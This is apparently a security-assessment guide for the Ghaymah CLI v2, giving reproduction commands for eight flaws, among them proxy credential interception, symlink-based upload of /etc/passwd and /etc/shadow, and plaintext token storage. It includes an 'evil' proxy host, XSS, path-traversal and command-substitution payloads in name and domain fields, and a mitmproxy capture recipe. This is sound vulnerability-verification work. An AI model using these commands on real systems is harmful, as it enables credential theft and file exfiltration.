الملفات
ghaymah-CLI-v2_test/Reports/vulnerability_verification_guide.md

491 أسطر
14 KiB
Markdown
خام الرابط الدائم اللوم التاريخ

هذا الملف يحتوي على أحرف Unicode غير مرئية

هذا الملف يحتوي على أحرف Unicode غير مرئية لا يمكن التمييز بينها بعين الإنسان ولكن قد تتم معالجتها بشكل مختلف بواسطة الحاسوب. إذا كنت تعتقد أن هذا مقصود، يمكنك تجاهل هذا التحذير بأمان. استخدم زر الهروب للكشف عنها.

هذا الملف يحتوي على أحرف Unicode قد تُخلط مع أحرف أخرى. إذا كنت تعتقد أن هذا مقصود، يمكنك تجاهل هذا التحذير بأمان. استخدم زر الهروب للكشف عنها.

# 🧪 Vulnerability Verification Guide — Ghaymah CLI v2
> **Step-by-step manual reproduction guide for every vulnerability discovered.**
> Each section is self-contained — copy-paste the commands directly into your terminal.
---
## ⚙️ Prerequisites
```bash
# Make sure you're in the project directory inside WSL
cd /root/ghaymah-v2-test
# Verify the binary works
./gy-linux-amd64 version
# Expected: {"version": "0.0.24"}
# Login (required for some tests)
./gy-linux-amd64 login
```
---
## 🔴 NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL)
### What's the bug?
The CLI blindly follows `HTTP_PROXY` / `HTTPS_PROXY` environment variables, routing **login credentials and tokens** through any proxy — including a malicious one.
### Step-by-step reproduction:
**Step 1:** Start a simple logging proxy (or just set a fake one to see the behavior):
```bash
# Set a fake evil proxy and try to login
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email test@example.com --password SuperSecret123
```
**Step 2:** Observe the output:
```
# You should see:
# "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused"
#
# This PROVES the CLI attempted to send the login request
# (containing email + password in plaintext JSON body)
# through the proxy instead of directly to auth.ghaymah.systems
```
**Step 3:** Verify token refresh also goes through proxy:
```bash
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 whoami
```
```
# Expected output includes:
# "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999"
# → The refresh token was also sent to the proxy
```
**Step 4 (Advanced):** To capture actual credentials, run a real intercepting proxy:
```bash
# Install mitmproxy (on another machine or separate terminal)
pip install mitmproxy
mitmproxy --listen-port 9999
# Then in another terminal:
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email victim@company.com --password RealPassword
# → mitmproxy will show the full POST body with email + password
```
**Evidence (Mitmproxy Interception):**
![Proxy Interception Evidence 1](file:///wsl.localhost/docker-desktop/root/ghaymah-v2-test/HTTP%20Proxy%20Credential%20Interception_1.png)
![Proxy Interception Evidence 2](file:///wsl.localhost/docker-desktop/root/ghaymah-v2-test/HTTP%20Proxy%20Credential%20Interception_2.png)
### ✅ What to look for:
- [x] CLI sends auth requests through the proxy
- [x] Email and password visible in proxy logs
- [x] Refresh token visible in proxy logs
---
## 🔴 NEW-VULN-08: Symlink Following in Deploy (CRITICAL)
### What's the bug?
The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like `/etc/passwd`) to the Ghaymah build server.
### Step-by-step reproduction:
**Step 1:** Create a test directory with a symlinked Dockerfile:
```bash
mkdir -p /tmp/symlink-test
ln -sf /etc/passwd /tmp/symlink-test/Dockerfile
```
**Step 2:** Try to deploy it:
```bash
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 3:** Observe the output:
```
# Expected:
# Detected: Existing Dockerfile
#
# The CLI says "Existing Dockerfile" — it READ /etc/passwd through the symlink
# and treated it as a valid Dockerfile. If you were authenticated,
# this file would be uploaded to the Ghaymah build infrastructure.
```
**Step 4:** Test with .env symlink:
```bash
ln -sf /etc/shadow /tmp/symlink-test/.env
echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 5:** Test with directory symlink (recursive exfiltration):
```bash
ln -sf /root /tmp/symlink-test/subdir
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 6:** Cleanup:
```bash
rm -rf /tmp/symlink-test
```
### ✅ What to look for:
- [ ] CLI says "Detected: Existing Dockerfile" for symlinked files
- [ ] No warning about symlinks
- [ ] If authenticated, the file content would be sent to the server
---
## 🟠 NEW-VULN-03: Plaintext Token Storage (HIGH)
### What's the bug?
Authentication tokens are stored in plaintext JSON with no file permission enforcement.
### Step-by-step reproduction:
**Step 1:** Login to create the token file:
```bash
./gy-linux-amd64 login
```
**Step 2:** Find and examine the token file:
```bash
# Check the default config path
cat ~/.config/ghaymah/cli/nhost/config.json
```
**Step 3:** Check file permissions:
```bash
ls -la ~/.config/ghaymah/cli/nhost/config.json
# Look at the permissions column: should be -rw------- (0600)
# If it's -rw-r--r-- (0644) or wider → VULNERABILITY CONFIRMED
```
**Step 4:** Verify the token is in plaintext:
```bash
cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json
# You should see fields like:
# "accessToken": "eyJhbGciOiJIUzI1NiIs..."
# "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# → All in PLAINTEXT, readable by any local process
```
**Step 5:** Prove another user could read it:
```bash
# Check if other users can read
stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json
# Note: Live testing showed this correctly defaults to 600 (-rw-------),
# which mitigates reading by OTHER users, but the tokens remain plaintext.
```
### ✅ What to look for:
- [ ] Token file exists at `~/.config/ghaymah/cli/nhost/config.json`
- [ ] Tokens are in plaintext (not encrypted)
- [ ] Confirm file permissions (600 is safe from other users, 644 is vulnerable)
---
## 🟠 NEW-VULN-04: Debug Mode Information Leakage (HIGH)
### What's the bug?
The `--debug` flag exposes internal UUIDs, component names, and full API request details.
### Step-by-step reproduction:
**Step 1:** Run whoami with debug:
```bash
./gy-linux-amd64 whoami --debug
```
**Step 2:** Examine the output for sensitive data:
```
# Look for lines like:
# level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3
# level=DEBUG msg="credentials callback set" component=nhost-client
# level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token"
#
# SENSITIVE DATA LEAKED:
# 1. user_id UUID
# 2. Internal component names (nhost-client, token-manager, auth-client)
# 3. Full backend endpoint URLs
```
**Step 3:** Test with deploy:
```bash
./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20
# Check if token values or API keys appear in debug output
```
**Step 4:** Check if debug output could end up in CI logs:
```bash
# In a CI/CD pipeline, someone might set --debug for troubleshooting:
./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)'
# Any matches = information leakage risk in CI logs
```
### ✅ What to look for:
- [ ] User UUID visible in debug output
- [ ] Internal component architecture exposed
- [ ] Backend URLs with full paths visible
- [ ] Any token values in the output
---
## 🟠 NEW-VULN-06: Auto-Update Without Signature Verification (HIGH)
### What's the bug?
The CLI downloads updates from `cli.ghaymah.systems` without verifying digital signatures.
### Step-by-step reproduction:
**Step 1:** Check current version and trigger update check:
```bash
./gy-linux-amd64 version
```
**Step 2:** Extract the update URLs from the binary:
```bash
strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems'
# Expected:
# https://cli.ghaymah.systems/install.sh
# https://cli.ghaymah.systems/version
```
**Step 3:** Verify no signature checking exists:
```bash
strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)'
# Expected: NO matches related to update verification
# Only standard TLS/crypto library strings should appear
```
**Step 4:** Check what happens during auto-update:
```bash
strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)'
# Look for:
# "failed to download binary from %s: HTTP %d"
# "Update complete! Restarting..."
# → Confirms the binary downloads and replaces itself
```
**Step 5 (Advanced):** Combine with proxy attack:
```bash
# If an attacker controls the proxy (NEW-VULN-05), they can:
# 1. Intercept the version check
# 2. Return a fake "newer version" response
# 3. Serve a malicious binary
# 4. The CLI auto-replaces itself → Full RCE
#
# To test, set up mitmproxy and modify responses from cli.ghaymah.systems
```
### ✅ What to look for:
- [ ] Update URLs hardcoded in binary (no pinning)
- [ ] No GPG/minisign signature verification
- [ ] Binary downloads and auto-replaces itself
- [ ] Combined with proxy MITM = Remote Code Execution
---
## 🟡 NEW-VULN-01: No Client-Side Port Validation (MEDIUM)
### What's the bug?
The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server.
### Step-by-step reproduction:
```bash
# Test 1: Port way above maximum
./gy-linux-amd64 deploy --port 99999999 --no-auto-update
# Look for: "Using configured port: 99999999" ← ACCEPTED!
# Test 2: Negative port
./gy-linux-amd64 deploy --port -1 --no-auto-update
# Look for: "Auto-detected port: -1" ← ACCEPTED!
# Test 3: Above TCP max
./gy-linux-amd64 deploy --port 65536 --no-auto-update
# Look for: "Using configured port: 65536" ← ACCEPTED!
# Test 4: Zero port
./gy-linux-amd64 deploy --port 0 --no-auto-update
# This one defaults to 8080, so port 0 is silently ignored
# Test 5: INT32_MAX
./gy-linux-amd64 deploy --port 2147483647 --no-auto-update
# Look for: "Using configured port: 2147483647" ← ACCEPTED!
```
### ✅ What to look for:
- [ ] Ports > 65535 accepted without error
- [ ] Negative ports accepted
- [ ] No client-side validation message
---
## 🟡 NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM)
### What's the bug?
The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection.
### Step-by-step reproduction:
```bash
# Test 1: XSS payload in app name
./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update
# ACCEPTED — sent to server as-is
# Test 2: Path traversal in app name
./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update
# ACCEPTED — no validation
# Test 3: Go template injection
./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update
# ACCEPTED — no validation
# Test 4: Shell metacharacters in domain
./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update
# ACCEPTED — no validation
# Test 5: 5000-character name
python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update
# ACCEPTED — no length limit
# Compare with tunnel (which DOES validate):
./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update
# REJECTED: "tunnel name must contain only letters, numbers, and hyphens"
# → Tunnel validates but deploy does NOT
```
### ✅ What to look for:
- [ ] XSS payloads accepted in `--name`
- [ ] Path traversal accepted in `--name`
- [ ] Shell metacharacters accepted in `--domain`
- [ ] Tunnel command properly validates (inconsistency)
---
## 🟡 NEW-VULN-07: GenAI API Key Exposure (MEDIUM)
### What's the bug?
The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy.
### Step-by-step reproduction:
**Step 1:** Check GenAI endpoint:
```bash
strings ./gy-linux-amd64 | grep genai
# Expected: https://genai.ghaymah.systems
```
**Step 2:** Test with a key:
```bash
./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1
# Check if the key appears in debug output
```
**Step 3:** Test via environment variable:
```bash
GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1
# Check if the key is logged or sent over the wire
```
**Step 4:** Combined with proxy:
```bash
HTTP_PROXY=http://127.0.0.1:9999 \
GY_AI_KEY="sk-secret-key-12345" \
./gy-linux-amd64 deploy --no-auto-update 2>&1
# If proxy is running, the API key AND source code would be interceptable
```
### ✅ What to look for:
- [ ] GenAI endpoint exists in binary
- [ ] API key sent alongside project source code
- [ ] Key vulnerable to proxy interception (same as VULN-05)
---
## 📋 Verification Checklist
Use this checklist to track your progress:
```
CRITICAL:
[x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached)
[x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass)
HIGH:
[x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions)
[x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass)
[ ] NEW-VULN-06: Auto-update without signature confirmed
MEDIUM:
[x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass)
[x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass)
[ ] NEW-VULN-07: GenAI API key exposure confirmed
```
---
## 🔧 Quick One-Liner Smoke Test
Run this single command to quickly verify the most important findings:
```bash
cd /root/ghaymah-v2-test && \
echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \
echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \
echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \
echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \
echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update 2>&1 | head -2 && \
echo "=== DONE ==="
```
---
*Guide created for the Ghaymah CLI v2 adversarial security assessment.*